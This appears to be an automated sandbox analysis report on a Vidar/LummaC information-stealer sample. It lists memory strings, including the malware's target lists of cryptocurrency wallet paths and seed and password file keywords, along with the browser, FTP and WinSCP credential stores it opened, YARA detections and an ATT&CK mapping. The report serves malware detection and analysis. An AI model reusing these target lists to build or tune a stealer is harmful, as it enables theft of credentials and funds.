Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: um\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: um\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: um\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: um\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: um\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Flash\|%DRIVE_REMOVABLE%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|3\|windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|DESKTOP\|%DESKTOP%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|2\|Windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: MultiDoge
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: um\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: um\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5464, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4295570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4295570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5464, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C280C40 sqlite3_bind_zeroblob,	3_2_6C280C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C280D60 sqlite3_bind_parameter_name,	3_2_6C280D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1A8EA0 sqlite3_clear_bindings,	3_2_6C1A8EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C280B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	3_2_6C280B40

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	21 Registry Run Keys / Startup Folder	511 Process Injection	111 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	21 Registry Run Keys / Startup Folder	41 Obfuscated Files or Information	Security Account Manager	14 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	55 System Information Discovery	Distributed Component Object Model	2 Clipboard Data	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	161 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	41 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	511 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	34%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	100%	Joe Sandbox ML
C:\ProgramData\AFIDGDBGCA.exe	100%	Joe Sandbox ML
C:\ProgramData\AFIDGDBGCA.exe	11%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe	11%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	11%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	11%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
